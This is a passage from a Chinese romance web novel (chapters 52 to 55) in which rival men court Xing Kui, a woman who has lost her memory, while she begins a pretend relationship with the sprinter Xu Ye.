江玉鸣讽刺,“我要让你亲眼看看,你曾经算计许野,切断他的心动,如今又将亲手把许野提成劲敌。你自信以后能赢过他,不一定哦。” “那你呢?” 周镜冷声反问好兄弟,“你就在葵葵身边,却不加以阻碍,自信难道输我吗?你能厚着脸皮当三,也不想想葵葵正派守序,能不能接受三。” 江玉鸣脸色僵了僵,几息后又恢复常态:“不论如何,我们有个共识,不是吗?” 他们有共同的敌人,厉乘川,若非命运作弄,曾经差点就和邢葵进民政局的厉乘川,或许拥有超过所有人的威胁性。 不管周镜还是江玉鸣,都不敢赌这个威胁性高低,无论怎样,都绝不能让邢葵的目光重新落到厉乘川身上。 三号IMAX厅,最后一排, 落座的许野拧着眉盯着第三排中心一男一女颅顶,插在钴蓝色羽绒服口袋里的手,取出振动两下的手机,漫不加意瞄了一眼。 厅内黑暗,前方大屏幕上电影已经开播,刚睡醒的女主人公晃进卫生间,随后整部电影的第一句话以吼的方式道出:“陈伟瀚!说多少遍了尿滴在马桶圈上记得擦!” 声音很大,贴近生活的剧情引得电影院里许多观众发笑,许野左右的人都在笑,许野却毫无反应,仿佛没有一丁点声音进入他的耳道,深褐色的瞳仁定定地望着他的手机屏幕。 他刚收到两条消息。 都来自江玉鸣,一:【邢葵不认识厉乘川,她在车祸中失忆了。】 二:【要感谢我哦(一只眼眨眼emoji)】 电影在许野的瞳孔中飞快播放着,越来越快,越来越快。 女主人公与灵魂伴侣相遇…… 与现男友争吵…… 在暴风雨中沐雨哭吼…… 与男主将亲未亲…… “降临在我身上的意外,改变了我的人生,而我一无所察。” “我总是在笑,你们就觉得我不疼吗?我是太疼了,才拼了命地笑啊。” “我好疼,你能抱抱我吗?” “喂,许野。” 一张干净的脸在许野视线中缓慢清晰,因为气血两亏呈现苍白,似最基础的白色奶油蛋糕,来自邢葵柔和的嗓音带回许野抽离的魂魄,聚焦他的眼睛。 原来,不知不觉电影已经放完,厉乘川也已离开,邢葵在最后一排发现他,随厉乘川走后又折返回来,弯着腰,在他身前,细声叫他的名字。 邢葵诧异地看着许野,这位年轻的、像豹子一样的大学生,此刻泪流满面。 她想说话,舌头刚动,唇还未张开,许野忽然一把捞住她的双肩,抱住她。 炙热蓬松的羽绒服抵着她的肩,邢葵惊愕地忘记眨眼睛,同样炙热的呼吸洒在她的颈窝,几秒后又和身体一起忽然撤离。 许野大手按在她的两肩,面颊浸泪,郑重地道:“我们交往吧。” 第53章 邢葵愣怔一下,他答应了?许野是答应了吗?可他为什么会答应?她啥也没干呀! 说好的看电影,最后在放映厅坐一排的是她和厉乘川,这样也行?果然邀许野看电影是个好主意!他真感受到了恋爱氛围! 瞧啊,校霸男大都哭成林黛玉了! 邢葵的神情像老化的灯泡,通电后没反应,停了几秒才缓慢迸发出光彩,发现许野盯着自己,她飞快低头,翻找面纸。 人哭着呢,她喜笑颜开多不好,快想想悲伤的事情,不许笑了! “别哭别哭,虽然男女主人公结局没在一起,我相信如果有番外,他们会好好牵手的。” 那我能牵你的手吗? 许野看着邢葵抽面纸的手指,她的手伤痕累累,他知道邢葵出过车祸,也知道出车祸会很疼。 可坦白说,他自己没出过车祸,没有亲身经历,再设身处地也不能感受到究竟有多疼。 究竟有多疼,才会被撞掉记忆。 从小到大许野也看过一些影视剧,影视作品中,几乎不对车祸造成的伤痛展开细描,无论女主角男主角,甚至配角,被车撞后没几天就能活蹦乱跳。 又或者,画面转场,配以“三个月后”、“半年后”这样的字幕。 然而,邢葵是他眼前活生生的真人,她的人生没有跳跃,她时常笑,可实际她每一天都在承受痛苦,外伤、内伤、精神创伤…… 如果可以的话,许野想牵住邢葵的手,然后和她保证,他以后绝对绝对绝对不会让她疼。 撞击造成的伤口多是凹陷型,邢葵的手背上有一个个小坑,她抽出一张面纸,递到许野手上,友善地道:“别哭了哦,既然你同意和我假恋爱了,我也有话……” 她说起她背负的催婚压力,这些许野也不懂,但他一瞬不瞬地盯着邢葵,认真倾听。 丢失的记忆未必回得来,厉哥江哥他们,没告诉邢葵她失忆,大概,有不想给她带去二次伤害的意思。 许野也不想伤害邢葵,他希望邢葵日后的人生都远离疼痛,这种事谁能做到?他再信任兄长,最信任的还是他自己,所以,许野决定,迈过长久以来横在他前方的兄弟情义,和兄长争抢。 拦在他前面的两位兄长,一个厉哥,什么未婚夫未婚妻,被忘掉就该被淘汰,跟比赛一样,裁判忘记了选手,选手跑得再快也拿不下第一。 一个周哥,昨晚许野已经对着渣男十大罪状全面分析过,是个好哥哥但不是个好男友,他不珍惜的女朋友他来替他珍惜。 “对了!我跟周律师之前分手了。” “……”哦,原来周哥不是渣男啊。 不影响,许野一直抑制对邢葵心动,当他终于迈出第一步,这场追逐邢葵的比赛,许野选手便以无法阻遏的速度开始,万没有后退弃赛的道理。 “我和周律师恋爱分手的原因也是催婚……” 邢葵简单讲述着,随着她越讲越多,许野的眉逐渐压住眼。 他不是个七窍玲珑的聪明人,胜在直觉惊人,他想到:不会厉哥和邢葵的婚约,也起源于要解决催婚吧? 许野尚且年轻,没被任何人催过婚,即使未来长了岁数,约莫也不会有任何人催他婚。 催婚对人的折磨他理解不了,可他愿意换位思考,即便他笨笨憨憨的,思考不出所以然,可他听着邢葵风轻云淡地说,心里也好像被风和云席卷。 看着邢葵笑意中偶尔泄露的苦涩,许野也感觉唇边沾了苦瓜汁,他倏地攥住邢葵一只手,抬到胸前:“我会努力帮你解决催婚的!” 情窦初开的男大学生凝望邢葵,瞳仁像巧克力,脸上流淌着穿得多引起的汗珠,晶莹闪亮。 邢葵呆了呆,接着,她也抬手按住许野的手:“我也会努力帮你缓解运动焦虑的!” 四只手叠在一处,许野瞳孔扩张,邢葵误会了,今天他最初来电影院,不是想看电影,就是想说,他根本没焦虑。 最近训练过多次,是因为在遏制对邢葵心动,说控糖不喝奶茶,是不能在厉乘川的商场摘口罩。 当然许野不是一直没焦虑,而是他早就找到了解决焦虑的办法:“一百米九秒八三,是我的成绩,上一届奥运会金牌,一百米九秒八一。” 9.83-9.81=0.02,运动上的事,邢葵听不懂,零点零二的差距很大吗?“你是因为成绩才焦虑得不停地跑吗?” 她尝试去体会,没跑过步,可她高过考啊。 高考一分,差距千人,因此所有考生都拼了命地挣分,哪怕题目不会答,也要写上“解”罗列“公式”,许野距离奥运会金牌差的这零点零二秒,兴许也是要拼了命、甚至拼了命都不能减少的。 “运动我是门外汉,我不能帮你提高成绩,但我保证,我能让你甜甜的!”邢葵眼睛亮晶晶。 她目光的专注有神,给人被肯定的感觉,许野不说话。他焦虑的才不是拿不拿第一,而是拿不到第一后,终点处观众失望的眼神。 十四岁时,他曾与第一差之毫厘,感受过那种眼神,好像他没得金牌就是位失败者,于是此后他不敢再有一败。 后来国家队向他抛出橄榄枝,但他的成绩不能稳拿奥运赛事金牌,于是从此跌进焦虑。 十九岁时,在辉德医院某栋楼的台阶前,许野看到了另一种终点处的眼神。 来自彼时身处危险的邢葵,她无声向他求助,期望他奔向她。无关名次,跑得快慢都好,只要他奔赴她,她便会予以甜美灿烂的笑容。 比赛重要的是过程不是结果,诸如此类虚话谁都会说,再多劝慰鼓舞都敌不过没得第一后,观众失望唏嘘的杀伤力,而邢葵带给了许野另一种眼神。 同样也是解决焦虑的方法:将每一场比赛都视作跑向她。 只不过,顾及厉乘川和周镜,许野始终压抑自己,未敢实施想法,不过从今日起,他正式决定将他的终点看成邢葵。 不知情的邢葵还在安慰:“你放心,我超负责任的,虽然我只谈过一段恋爱,可我从小收到过超多情书!我相信我有带给人甜蜜的天赋……” 许野低了一下头,口罩后具有线条感的唇往下撇,克制地笑,闷声应道:“嗯,那我们,明天能约会吗?” 邢葵按紧他的手快答:“只是明天怎么够!正好快五一了,到五 一前,我们每天都约会吧!” 许野双眸睁大,泼天幸运顷刻间降临他头上,他惊愕住,转瞬要重重点头,放大的瞳仁撞进邢葵眼里。 她脸色瞬变,猛地松手后退,手竖着挡在脸前防御:“对不住对不住,我不是故意唐突的,我就是觉得一天不够甜,你——” “你为什么总是这么怕我?”许野头一次问出,看电影前邢葵隔着西服抓了厉乘川的手腕,她都没战战兢兢。 妒忌像一点星子沾上许野心脏,他张口攻击起兄长,连哥都不想叫,直呼姓名,“厉乘川那么洁癖,你碰过他衣服,他回去会整件扔掉,我不会,你不该怕我。” 欸?厉乘川会扔掉衣服吗?今天他穿的和那天篮球馆救她时不是同一件吗?难道不是同一件? 一瞬间,邢葵想起电视剧,霸总晨起,拉开衣柜,一排一模一样的西装。 悟了!肯定是那样!“我怕的不算是你个人啦。”邢葵向许野解释,“我不喜欢所有运动系肌肉男,你们有一脚踢飞我的本钱,我就是,下意识避险,对你没有恶意的。” 许野微怔,拎起胸口羽绒服,瞅了眼衣服后胸肌,放下衣裳,顿了几秒,缓缓出声:“我知道了,那我们明天见?” 邢葵笑:“好。” 商场,地下停车场,厉乘川迈着长腿,疾速走向他全黑色的宾利,车门前,已经有商场工作人员在候等,端着一盘医用七十五度消毒酒精,端盘的手还戴着手套。 拿起酒精,厉乘川往身上猛喷,“呲”、“呲”、“呲”,一整瓶见底,他才犹如活过来,冷肃的脸多了丝微轻松。 放映厅内那百人同坐的环境,厉乘川实在是受不了,纵然用纸巾擦拭过座位,但整场电影他仍然如坐针毡,全靠邢葵在旁边才能撑住。 电影一结束,他就连忙赶来消毒,厉乘川深呼吸,连嗅几下饱含酒精味的空气,好了,他可以回去了。 手机振动,刚转身的厉乘川顿足,不耐地点开:“你最好有十万火急的事。” 江玉鸣玩世不恭的笑声传来:“怎么着,火气这么大?谁惹到咱们群的大哥了?” 厉乘川往商场内走:“快说。” “就是想问问你,邢葵有邀请你看电影吗?” 厉乘川停下来:“她告诉过你?” 商场内部,四楼,江玉鸣修长的手臂搭在横栏,一只手拿着奶茶,一只手在耳边举着手机,眼角弯弯:“是呀,她征询过我的意见,她想请你看电影报恩,欸?什么恩呀?” 停车场,厉乘川薄薄的唇角微微翘:“你不用知道。” “啧。”江玉鸣笑得艳冠群芳,眼底却阴沉冰冷,“是是是,我还不想知道呢,我又不是会觊觎兄弟未婚妻的周镜,那老厉,你去看电影了吗?” “嗯。”厉乘川承认。 “啊哈,那兄弟在这里恭喜你,追邢葵的进度可真快!”江玉鸣晃了晃手中奶茶,杯内芋圆被晃起又落下,如昨夜他在云端上浮下沉。 “我打电话就是好心,想提醒你一句,最好别当着邢葵的面喷酒精,容易让她误解成是你嫌弃她。” 厉乘川安静,低头看看身上隐约泛潮的西装:“不早说。” 江玉鸣笑出声响,一副打电话来看热闹的样子:“看来已经喷了,还喷了不少,你自求多福吧。” 尾音未消,厉乘川挂掉手机,什么自求多福,他还没带着一身酒精味去见邢葵,还来得及。 厉乘川望了眼商场,撤身走向他的车。 商场四楼,江玉鸣在电话结束后,又拨通周镜电话,吸了口手上奶茶:“搞定了,他不会折回撞到许野。” 周镜:“嗯。” 简短的对话结束,两个人都不再吭声,一个问题同时萦绕在江玉鸣和周镜心头,将许野引进邢葵视野,会带来恶果还是? 答案未知,但开弓没有回头箭。总而言之,邢葵身边是谁都能考虑考虑,绝不能是差点和她领到证的厉乘川。 江玉鸣紧盯三楼电影院门口,亲眼看着许野和邢葵并肩走出来:“成了,许野点头了。” 手机镜头拍摄着邢葵,小框中,周镜忽视她旁边许野,望着她,神情思念渴望。 江玉鸣瞄了一眼:“不给你看。”无情关闭通话。 继续喝奶茶,也是金诺言的王牌产品“云海生梦”,和邢葵喝的是同一款,他在尝邢葵尝的味道。 微信发现页罕见地有小红点,江玉鸣点进去,是一个意想不到的人发了朋友圈。 厉乘川:【电影,不错(两张电影票图片.jpg)】 是电影本身不错,还是和他看电影的人不错,还是和她看电影这件事不错? 江玉鸣舌尖舔舔吸管头,眸色阴冷,大拇指右滑返回,拒绝为好兄弟点赞。 国外,周镜也同时看见这条朋友圈,直接息屏手机,下床洗漱,他工作繁忙,没空为好兄弟点赞。 返回学校的地铁上,许野同样刷到厉乘川的朋友圈,其中一张电影票本该属于他,是厉哥突然出现偷去的,他不要给小偷点赞。 第54章 当然也有人给厉乘川点赞。 几个小时后,西斜的光照着磨砂玻璃,极简黑色调的家中,颀长的人影推开浴室的门,厉乘川擦着湿发走出,身上还氤氲着水汽。 走到客厅,他拿起手机,他用来发朋友圈的微信号是私人微信号,好友列表只有家人朋友,他们都不怎么看朋友圈,厉乘川已经做好收不到赞的准备。 毕竟他们没看到,相信他们要是看到的话,一定会给他点赞。 厉乘川点开朋友圈,其他人都是无关人等,他只在意邢葵有没有看见。 发朋友圈就是想含蓄告诉她,他对今天的报恩很满意,她不用再把恩情放心上。 真有一个人为他点赞,是邢葵吗?厉乘川面部冷静、内心泛起波澜地细瞧,点赞人头像和id显示:桃花符照片(甜甜的恋爱会找上我)。 梁君赫!煞风景的东西! 好歹是唯一一个赞,厉乘川暗骂了句,放下擦头发的毛巾,拿上手机走向玄关。 玄关处放着一个漆黑的大垃圾袋包裹,里面装着厉乘川白天穿的衣服,从里到外,从上衣到鞋子,即便已经全面消过毒,他依然不想再穿。 玄关旁的八斗柜上有一盒一次性防护手套,厉乘川抽出两只,在套手套前顿住,再次点亮手机,还想看一眼邢葵有没有点赞。 两张电影票照片下方,点赞栏赫然——赫然空了,还多了一条恶评:【哥,下次别看这种男主没我帅的电影。】 梁君赫!厉乘川深呼吸,扶住额头,这位兄弟傲慢自我,嘴上喊着哥,实际上浑不在乎哥的情绪,赞后又取消,还留恶评,这种事,亏他做得出。 也亏梁君赫远在冰岛录节目,如果让他喜欢上邢葵还了得。 放下手,厉乘川修改朋友圈可见范围,改成仅邢葵可见,只要她看见就好。 戴上手套,厉乘川拿起垃圾袋,打开门,叮咚一声,楼层电梯门也打开,邢葵走出来。 “房东?你这是?” 邢葵一只手拎着东西,另一只手拿着手机,视线从厉乘川的脸移到他拿着的垃圾袋,息屏手机。 手机屏幕在黑下去前显示,她刚才在跟她的小粉丝“惹我的人娶不到老婆^_^”对话。 惹我的人娶不到老婆^_^问: 【老婆,你在干什么呀。】 【老婆,你今天没有更新,我的人生都失去了色彩(狗狗垂耳.gif)】 邢葵回: 【(你的光来啦.jpg)】 【我今天去看电影了哦,《恋恋哀歌》,还可以,男主帅帅的。】 她讲完,这位粉丝气鼓鼓回了句:【没有梁君赫帅。】,然后就消失了,真是除了梁君赫,其他男性她一个都不喜欢呀。 电梯前,邢葵脸上还泛着笑,看到厉乘川的垃圾袋……好像装的衣服……是今天穿的吗…… “电影院人太多了, 不是因为你。” 是因为这个还是因为她碰过啊。 几个小时前她才听许野说,厉乘川会扔掉她碰过的衣服…… “真与你无关。”厉乘川喉结滚动,克制着解释速度,尽可能不显得无措。 先前停车场,江玉鸣在来电中提醒过他,邢葵或会因为他的洁癖产生误会。 “没关系啦。”邢葵笑笑,许野的话和厉乘川的话在她脑袋里左右对撞,她才不要费神深究,让两句话同归于尽,炸成烟花,“你去扔垃圾吧,我回家啦。” 她走过厉乘川身边,手上拎着的袋子外包装上,画了一只白白胖胖的鸡,红彤彤的鸡冠上方写着“xx炸鸡”。 “等等。”厉乘川叫住她,“医嘱你忘了?” “这个?我记得呀,不过都快两个月了,少吃点没事的,就在白天我们看电影的商场买的,哇,你不知道!地下一层有超多小吃。” 厉乘川上前,揪住炸鸡袋上方,拎了拎:“至少两千克,这就是你说的少吃点?” 邢葵尬笑:“这,炸鸡店还卖炸排骨、炸地瓜、炸年糕、炸火腿肠……我一不留神就点多了,这不是没吃完打包带回来了嘛,放心,家里有——”她骤地停住。 “家里有什么?” 家里有江玉鸣替她处理。 “你家又没有第二个人代你吃。”厉乘川蹙着眉说道。 “家里有冰箱!我回家冻起来,慢慢吃。”好险好险,差点说错话。 厉乘川:“冻的——” “别说了,房东。”邢葵打开袋子,浓烈的炸鸡香气散出,她取出一盒年糕炸鸡,塞到厉乘川手上,“你再帮我分摊一下,谢谢你。” 炸鸡已经冷掉,纸盒冰凉,如邢葵的体温,厉乘川指尖在纸盒边摩了摩,直接忘掉刚刚的讨论。 刚刚在说什么?哦,不知邢葵看没看到他发的朋友圈…… “那我回家咯。”邢葵告别,她还要回家准备明天后天大后天等等等的约会呢。 想到这件事就心情好,邢葵雀跃地往前走,走到家门口,侧眸发现厉乘川看着她,懵了下,弯眼笑,“我刷到你发的朋友圈啦,电影,你喜欢就好。” 他当然喜欢你——几句话落到厉乘川耳里只剩“喜欢”两个字不断回响,窗户外,渐黑的天空似乎白了,天幕似乎生长树木,脚下似乎漂浮白云。 端着炸鸡,一时间,在商场纵横捭阖的厉总不知天地为何物。 邢葵没在意,按完密码,拉开家门,方一走进就嗅到玫瑰味,关上门,江玉鸣藏在门后冲她风情万种地笑。 优越的身体靠着墙,只用一件围裙遮盖,正面裸在外的肌体白皙干净,肌肉匀称,围裙单薄,映出腹肌轮廓,线条横横竖竖。 邢葵:“!” 不儿,穿这么烧? 江玉鸣向她走来,手掌贴上她的脸:“葵葵,将我的鸡送别人,我好伤心。” “鸡?我这里还有好多盒呢,还有厉乘川对你来说也不算别人吧……”邢葵想提起炸鸡袋,视线不由自主地落到……“你多穿点!有伤风化!” 江玉鸣勾人地翘嘴角,缓缓俯首:“不伤风化,只给葵葵看,葵葵多看看,家花可比野花更讨喜。” 他美艳的脸在邢葵眼里放大,厉乘川还在走廊,她的心砰砰直跳,想要推开他。 咚咚,有人敲门:“邢葵?”是厉乘川! 邢葵后背透凉,一喘,江玉鸣倏地堵上她的唇。 炙热的唇肉覆盖,长舌深绞,邢葵睫毛震颤,侵入的玫瑰香吞噬她喉间气音。 江玉鸣昳丽的眼未闭,直勾勾盯着她看。 “邢葵?”门外面,厉乘川又敲了两下。 邢葵没法儿答,方才江玉鸣是俯身吻她,就在厉乘川到来后,他站直了身体,单掌覆在她的后颈,逼她仰高头颈。 仿佛这样,她的高度能跟厉乘川平齐,她的喘气能穿透门扉入厉乘川的耳。 又是两声敲门,这一回,江玉鸣终于肯松开,舌在她唇上舔过,撤离,含笑歪头,示意她回答门外。 邢葵气得踩他的脚,调整呼吸:“哎!房东,怎么了吗?” 门外,厉乘川理衣领:“没什么,你忘了给我酱料。” 炸鸡要配调味料,邢葵看向手中炸鸡袋子,江玉鸣笑眯眯点他靡丽的唇,冲她做口型:要开门吗? 刚邢葵踩的是江玉鸣的左脚,这会儿她又狠狠踩了下他的右脚。 她在门内紧张着,厉乘川在门口也紧张着,一次性手套下,手掌心都生出薄汗。 炸鸡内有酱料,他撒了谎,就为再和邢葵说说话,哪怕一句。 咚的一声,是有人在内部敲了门。 “邢葵?” 邢葵不敢讲话,她踩了江玉鸣的左脚和右脚,如今惨遭报复,江玉鸣一下搂起她,将她的双脚放在他的双脚,身体也几乎和她严丝合缝。 他张合嘴唇:踩呀,继续踩,好爽。 犹如挑衅,江玉鸣眯着眼,刻意抬起食指,往门上叩了一下。 门外厉乘川的询问声立时响起,邢葵魂都要解散,急忙哆嗦:“那个,我买了多种口味,你那盒可能是原味的,你要不喜欢,我待会儿拿一盒其他的给你,我刚要洗澡,现在不方便。” 洗澡……不方便……厉乘川耳尖顿红:“我知道了,无碍,我就问问,我家里有海盐胡椒,打扰了。” 外界动静渐息,邢葵抬脚就踹向江玉鸣大腿:“我差点吓到血管爆裂!” “怎么会呢,我是医生,我有数。” “哦!你知道底线在哪里,就往哪里踩是吗!” “是啊。” “……” 脸皮太厚了,邢葵全然没力气和他辨,扯开他的手,后退一大步,扫看江玉鸣露肤度极高的装扮。 厉乘川和她在走廊的相遇是偶然,江玉鸣这么穿,应该是因为她出门去见的许野。 “你干什么呀,穿成这样引诱我,你是觉得我会喜欢上许野吗?” 江玉鸣嘴角笑意微停,随后,他嬉皮笑脸:“是啊。” 他还真是,就这么坦荡承认呀,邢葵无奈:“我没要和许野真谈恋爱。” “未必呢,许野身材突出,你见到就一点都不动心?”江玉鸣声音诱惑,“私下就不会幻想,他的身体是怎样的触感……” 邢葵脸红:“江玉鸣!那,幻想是人之常情,不能用想法给人定罪的!” 她深吸了好几口气,旋即,捧住江玉鸣的脸,踮脚啄了他一下,“你担心的问题,江医生,我也不能给你确定答案。 大学那会儿,我妈不同意我读研,我点头,是想尽快挣钱脱离家庭,我当年甚至发过毒誓,可人心柔软,后来的我没能做到。 所以,你觉得我会喜欢上许野,我眼下觉得不会,未必未来不会,我不能向你担保这一点。” 她双手捧着江玉鸣的脸,“但我能保证,假如有一天我对许野动了心,我会明确告诉你,绝不会一边喜欢别人,一边使用你。” 她言辞真诚,表情真诚,真诚得江玉鸣都笑不出来了。 他也捧住邢葵的脸,猝然赌住她说话的嘴:“把话收回去,我再强调一遍,喜欢别人,也要使用我!” 邢葵:“???”你的三观我的三观咋不一样? 日光驱逐黑夜,玫瑰花备忘录更改,“/40”前面的数字变成“17”。 咖啡店人来人往,拿着领餐号码牌,落地窗旁,邢葵向许野展示她制作的约会计划书,计划书标题为“甜蜜大作战之向所有的焦虑说拜拜”。 “怎么没谈你的事?”许野简单扫了一眼,“不是要我帮你解决催婚吗?” 邢葵拿起小叉子,许野来时又为她带了食物,是杨梅和荔枝做的小蛋糕,应季产品,新鲜美味,糕体边缘有一些碎冰。 “我妈在跟我冷战。”邢葵吃了口甜甜的蛋糕,蛋糕的甜蜜铺满味蕾,“她心里因为我跟周律师分手生的坚冰还未融化,暂时先紧着你的问题吧,我不急。” 许野端详她,又看向计划书上“甜蜜大作战”五个字:“嗯,好,我们会甜蜜的。” “约会开始前,有件事我得征询下你的意见。”邢葵放下蛋糕叉,老实巴交,“你知道,我在做自媒体,我想将我们的假恋爱当作素材发到网上,这有点涉及隐私,不知道你愿不愿意?假使这部分素材产生了盈利,我会跟你四六分成,我四你六。” 因为涨的粉丝数能带来长久收益,邢葵拿四不亏,许野拿六也应该。 “不用,我不缺钱。”许野坐正,明明什么都没干,只是坐着都瞧起来不好惹,“我 家不输周家。” “……”可恶!炫富!邢葵吃蛋糕,心里的小人跳起来给全世界出生在罗马的人一记天马流星拳,“那好吧。”你不要我要。 “怎么还闷闷不乐?”许野看她表现,音调提起,“是我说错话了吗?” “没有没有。”邢葵摆手,“就是,虽然我这么设想,可厉乘川平日会看我的账号,他不是爱管嘛,被他看见完蛋了,感觉不能发。” “这好办,手机给我。” 他有主意!邢葵惊喜,连忙解锁手机,推给许野:“怎么办怎么办,快帮帮我,这几个都是我有号的平台,这几个是厉乘川账号。” 她介绍完,全神贯注,只见,许野伸手,揪着眉心,飞快点这点那,貌似在进行某种高端操作,让人想起神秘又厉害的黑客。 两分钟后,他将手机推回:“解决了。” 邢葵满怀喜悦地点头,许野最后一个点开的是小红薯,此时手机屏幕正停留在小红薯厉乘川账号页面,钻石头像下,是一行冷酷无情的文字: 您已拉黑对方,禁止查看ta的内容。 第55章 他!把!厉!乘!川!拉!黑!了! 一道雷霍嚓将邢葵劈成两半。 许野见她不说话:“你还有其他人想拉黑?” 你还想拉黑谁呀! 好几秒,邢葵才将自己拼起来,委婉道:“这是个好方法,但治标不治本,厉乘川要是发现不会发火吗?” 许野好像有心理准备:“发现了让他来找我,他迟早会发现,至少这样能迟一段时日。” 说得也是,假恋爱不但是好素材,于邢葵也是人生一段有趣的经历,她非常想记录,记录就会被厉乘川看见。 腹肌照能跟厉乘川说成是打篮球那天拍摄,假恋爱真没辙解释。 只不过,厉乘川不是许野的哥吗?许野不是很听哥的话吗?他这样的言行合理吗? 许野躬身,矫健有力的双臂搭上桌面,十指交叠,过于有压迫感,打乱邢葵思考,他小麦色健康的脸上,有一双不同于常见黑瞳的眸子,是棕褐色的,有点像巧克力,又剔透得像琥珀。 这双眼睛锁着她:“我也有件事想问你,邢葵,你和江哥的关系是?” 刹那间,邢葵惊愕失声,周围整个咖啡店的声响都消失无踪。 “不方便回答吗?”许野声音平静,似已有所猜测,“是男女朋友、地下情人,还是炮-友?” 邢葵被问住了。 “别紧张。”许野伸手,抓起她吃蛋糕的叉子,让她拿,“我就问问。” 早前,江玉鸣去京江大接邢葵,许野当时就心生怀疑,后来,江玉鸣又给他发消息,告知他邢葵失忆秘密。几次三番,许野直觉到问题。 邢葵摩挲蛋糕叉,她没料到许野会问,她能答,只是短时间她也找不到答案。 “我和江玉鸣,大概是他送上门、我也没拒绝的关系。” 许野嘴角一动,江玉鸣曾说:“难道在你眼里,兄长是会不顾兄弟情义、对兄弟心上人垂涎欲滴的贱皮子吗?" 哦,他还真是贱皮子。 “我们不是男女朋友,也不能算炮-友,毕竟没做到最后过,他帮过我很多,我很感谢他。”邢葵继续说着,“你要介意这一点的话,我——”我想想怎么端水。 不用她端水,许野害怕她说“那我们别假恋爱了”,连忙道:“不介意,我们也没真谈恋爱,你随意。” 言外之意是,真谈就要介意了。 邢葵没听出言外之意,还喜笑颜开地称赞许野:“你接受能力真强。” 许野视线从她的脸下移,扫到她吃的杨梅荔枝蛋糕,他带来的,不是江玉鸣带的:“不谈他了,好吃吗?” 邢葵咽口水,许野这目光一移不移的样子,应当没胁迫她的意思吧,她一点都不敢回复不好吃,当然事实上也好吃:“我很喜欢,你破费了。” “给女朋友买应该的。”许野觉得她太客气,条件反射地回应,见邢葵愕然,“我是说,即便是假的女朋友我也该模拟真实恋爱行为,不然我怎么感觉到甜蜜?” “噢噢。”邢葵点头表示理解,低头吃蛋糕,叉尖碰到底托击出轻响,她忍不住地弯起嘴角。 小年轻谈起恋爱怪纯真,认为给女朋友买东西应该,这种话三十岁的男性都很少讲。 许野咳嗽一声,吸引邢葵关注,不好惹的少年内里却有颗纯良心,他局促摸摸后脑勺,掏裤子口袋:“昨天我回去,也查了下恋爱要做什么。” 哇!他还挺用心!邢葵欣喜地支起上身,去盯许野掏口袋,以为许野也会掏出一张计划书,只见,他掏出一张卡。 直接放到她身前,与蛋糕并排:“网上说,要将工资上交给女友,这是我的卡,给你。” 邢葵低眸,这张卡只有黑色和金色,质地非凡,传说中的黑卡!她只在小说里见过的黑卡! “我还没有工作,这张卡的钱多来自我家里,不过我每年打比赛也有几百万收入,以后都会给你,密码是******,你随便刷,看有喜欢的就买。” 许野这样说道,丝毫没去解释黑色硬卡的价值,好似将它交予邢葵不算什么,邢葵只能动用她初高中看小说的经验联想。 假设场景:高档餐馆。 假设情节:侍者踩高捧低,让她让位给VVIP。 她不屑一笑:“叫你们老板出来。” 她拍出黑卡:“这家餐馆我买了,你,被fire了。” 实际上,这张卡能让邢葵买岛买飞机,但她质朴的脑袋瓜,只想买下餐馆让他们给她做麻辣烫。 太爽了!但……“不好吧。”邢葵纠结,手指按上能让她一辈子吃麻辣烫不用增增减减凑优惠的卡,艰难地往许野那里推,“咱们又不是真恋爱。” 一根麦色手指止住银行卡推移:“假恋爱也需要这么做。”许野再一次道,“邢葵,你不往真的靠拢,我怎能感到甜蜜?” 他又强调,“我焦虑很严重,女朋友花我的钱会让我快乐,你拿着,就当为我买快乐。” 好让邢葵无法拒绝的理由,她答应过许野要帮他减缓焦虑,她得负责任:“好,那我暂时先收咯,之后约会中的花费我都用这张卡付。” “可以,还有——” 还有什么!许野,你昨天都在网上查了些什么! “现在流行为对象买行星的命名权,你需要的话——” “不必。”邢葵急忙拒绝。 “很便宜。” “那也不用。”谈假恋爱谈到天外多了颗叫她名字的行星,很奇怪的,而且,“我不想我的名字挂在失重的地方。” “好。”许野不为难她,还有,“现在也流行为对象买从小到大的生日礼物——” “绝对不要!”邢葵大喊,附近的人望过来,她低眸,双颊都热出红色,“许野,你这样我非常不好意思的,我都没给你带什么,你别再送我东西了,我这就吃完蛋糕,我们去约会。” 她狼吞虎咽起来,许野瞄了瞄她脸颊的红意,碎发擦着的耳廓也染上晚霞:“还有最后一件事我要说,你做的约会计划,全和运动相关,我觉得,我们可以重新想想。” “啊?”邢葵昂起脑袋,可是江玉鸣检查过,说她准备的都是许野会喜欢的,他不喜欢吗? “谈恋爱是两个人的事,你不能只考虑我。”许野神色郑重,“约会只去我喜好的场所,我的对象不喜欢,你觉得我会开心吗?我不开心怎么甜蜜?” 好有道理!“那?” “你可以 想想你想玩什么,我陪你。”许野目光如锚,坚硬有力,“你有想做的事吗?” 邢葵短暂屏住呼吸,随即:“那太多了。” 大难不死后,她有很多很多以前想做但没做的事,都想去尝试。 “说说看,比如呢?”许野侧头,“服务生,有笔吗?” 他侧过脸,比邢葵粗几圈的脖颈线条显出,喉结突出性感。 其实许野已经帮她完成一些了,最近,邢葵吃到了从前舍不得买的蛋糕,喝到了从前舍不得喝的奶茶,还近距离观赏过八块腹肌。 接过服务生送来的圆珠笔,许野按住原先的计划书挪到他桌前,翻到空白的反面:“你说吧,我写。” “我想……”邢葵扫到蛋糕,大学时期,同学假期有时候会结伴去学校附近果园摘水果,她却在图书馆备考各种证件,“我想去果园摘杨梅!” “好。”许野写下第一条。 “我还想去吃xx的咸蛋黄披萨!”许多年前,这款披萨刚出,她被两个“朋友”拉着去吃,这款披萨一共四块,她去给ta们取个饮料的功夫,ta们一人分了两块吃得一干二净,回去后还问她觉得好不好吃。 于是从那以后,邢葵再没点过这款披萨。 “好。”许野写下第二条。 “我还想去海边赶海!去挖蛏子捡蛤蜊!” “好。”许野写下第三条。 …… “经常看到有人说,有的明星照片丑,线下和普通人有壁,有机会的话我想线下瞅瞅,看看他们真人是不是那样。” “好。”许野写下第十三条。 “我还想去爬山!” 邢葵说嗨了,许野笔尖一顿,抬起眼:“不好,你的腿撑不住。” “好吧,那这条划掉。” “或者我背你?” “别别别,还是算了,已经说了好多啦。”邢葵看向许野写的字,感到意外,她以为许野写字会很丑,没想到还挺好看,横竖撇捺,有种狂草感觉,“就到这里吧,我蛋糕吃完了,我们去约会吧,两面纸的计划,你想先去哪里?” 纸张正面写的是许野会喜欢的项目,反面写的是邢葵想干的,许野没有翻页,径直看向反面第一条:“我们去摘杨梅吧,刚好我在郊区有个农场。” 邢葵:“?” 她以为的摘杨梅:网上搜索果园,查询有无相关业务。 